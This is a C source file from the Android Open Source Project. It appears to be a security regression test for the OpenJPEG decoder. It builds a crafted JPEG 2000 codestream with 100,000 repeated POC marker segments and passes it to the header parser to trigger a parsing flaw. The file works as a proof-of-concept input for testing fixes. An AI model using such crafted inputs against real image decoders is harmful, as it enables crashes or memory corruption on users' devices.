/**
 * Copyright (C) 2021 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/wait.h>
#include <string.h>
#include <stdlib.h>
#include "openjpeg.h"
#include "opj_includes.h"

#define REPEATVALUES    100000

unsigned char gStartValues[] = { 0xFF, 0x4F, 0xFF, 0x51, 0x00, 0x2F, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x2E, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x2E,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x07, 0x01,
        0x01, 0x07, 0x01, 0x01, 0x07, 0x01, 0x01, 0xFF, 0x64, 0x00, 0x23, 0x00,
        0x01, 0x43, 0x72, 0x65, 0x61, 0x74, 0x6F, 0x72, 0x3A, 0x20, 0x4A, 0x61,
        0x73, 0x50, 0x65, 0x72, 0x20, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E,
        0x20, 0x31, 0x2E, 0x37, 0x30, 0x30, 0x2E, 0x31, 0xFF, 0x52, 0x00, 0x0C,
        0x00, 0x00, 0x00, 0x01, 0x01, 0x05, 0x04, 0x04, 0x00, 0x01, 0xFF, 0x5C,
        0x00, 0x13, 0x40, 0x40, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48,
        0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0xFF, 0x5D, 0x00, 0x14, 0x01,
        0x40, 0x40, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48,
        0x48, 0x50, 0x48, 0x48, 0x50, 0xFF, 0x5D, 0x00, 0x14, 0x02, 0x40, 0x40,
        0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50,
        0x48, 0x48, 0x50 };
unsigned int gNumStartValues = sizeof(gStartValues) / sizeof(gStartValues[0]);

unsigned char gRepeatValues[] = { 0xFF, 0x75, 0x00, 0x09, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00 };
unsigned int gNumRepeatValues = sizeof(gRepeatValues)
        / sizeof(gRepeatValues[0]);

unsigned char gLastValues[] = { 0xFF, 0x75, 0x00, 0x09, 0x00, 0x00, 0x01, 0x00,
        0x00, 0x00, 0x00 };
unsigned int gNumLastValues = sizeof(gLastValues) / sizeof(gLastValues[0]);

typedef struct {
    char* blob;
    ssize_t blobSize;
    ssize_t readPos;
} applicationContext;

opj_stream_t* allocate_stream(void) {
    opj_stream_private_t * stream = NULL;

    stream = (opj_stream_private_t*) opj_calloc(1, sizeof(opj_stream_private_t));
    if (!stream) {
        return NULL;
    }

    stream->m_buffer_size = OPJ_J2K_STREAM_CHUNK_SIZE;
    stream->m_stored_data = (OPJ_BYTE *) opj_malloc(OPJ_J2K_STREAM_CHUNK_SIZE);
    if (!stream->m_stored_data) {
        opj_free(stream);
        return NULL;
    }

    stream->m_current_data = stream->m_stored_data;
    stream->m_status |= OPJ_STREAM_STATUS_INPUT;
    stream->m_opj_skip = opj_stream_read_skip;
    stream->m_opj_seek = opj_stream_read_seek;
    stream->m_read_fn = opj_stream_default_read;
    stream->m_write_fn = opj_stream_default_write;
    stream->m_skip_fn = opj_stream_default_skip;
    stream->m_seek_fn = opj_stream_default_seek;

    return (opj_stream_t *) stream;
}

static OPJ_SIZE_T ReadHandler(void *buffer, OPJ_SIZE_T length, void *context) {
    applicationContext* appContext = (applicationContext*) context;
    ssize_t count = 0;
    ssize_t rem = 0;
    if (!appContext) {
        return ((OPJ_SIZE_T) - 1);
    }
    rem = appContext->blobSize - appContext->readPos;
    if ((ssize_t) length <= rem) {
        count = length;
    } else {
        count = rem;
    }
    memcpy(buffer, &appContext->blob[appContext->readPos], count);
    appContext->readPos += count;
    return ((OPJ_SIZE_T) length);
}

int main(void) {
    ssize_t offset = 0;
    unsigned int count = 0;
    applicationContext sContext;
    opj_j2k_t* codec = NULL;
    opj_stream_t* stream = NULL;
    opj_image_t* image = NULL;
    opj_stream_private_t* private = NULL;
    opj_event_mgr_t eventMgr;
    stream = allocate_stream();
    private = (opj_stream_private_t*)stream;

    sContext.blobSize = gNumStartValues + REPEATVALUES * gNumRepeatValues
            + gNumLastValues;
    sContext.blob = (char*) opj_malloc(sContext.blobSize);
    if (!sContext.blob) {
        opj_free(private);
        return EXIT_FAILURE;
    }
    memset(sContext.blob, 0, sContext.blobSize);

    memcpy(&sContext.blob[offset], gStartValues, gNumStartValues);
    offset += gNumStartValues;
    for (count = 0; count < REPEATVALUES; ++count) {
        memcpy(&sContext.blob[offset], gRepeatValues, gNumRepeatValues);
        offset += gNumRepeatValues;
    }
    memcpy(&sContext.blob[offset], gLastValues, gNumLastValues);
    offset += gNumLastValues;
    sContext.readPos = 0;
    private->m_read_fn = ReadHandler;
    private->m_user_data = (void*)&sContext;
    private->m_user_data_length = sContext.blobSize;
    private->m_free_user_data_fn = NULL;
    codec = opj_j2k_create_decompress();
    opj_set_default_event_handler(&eventMgr);
    opj_j2k_read_header(private,codec,&image,&eventMgr);
    opj_free(sContext.blob);
    return EXIT_SUCCESS;
}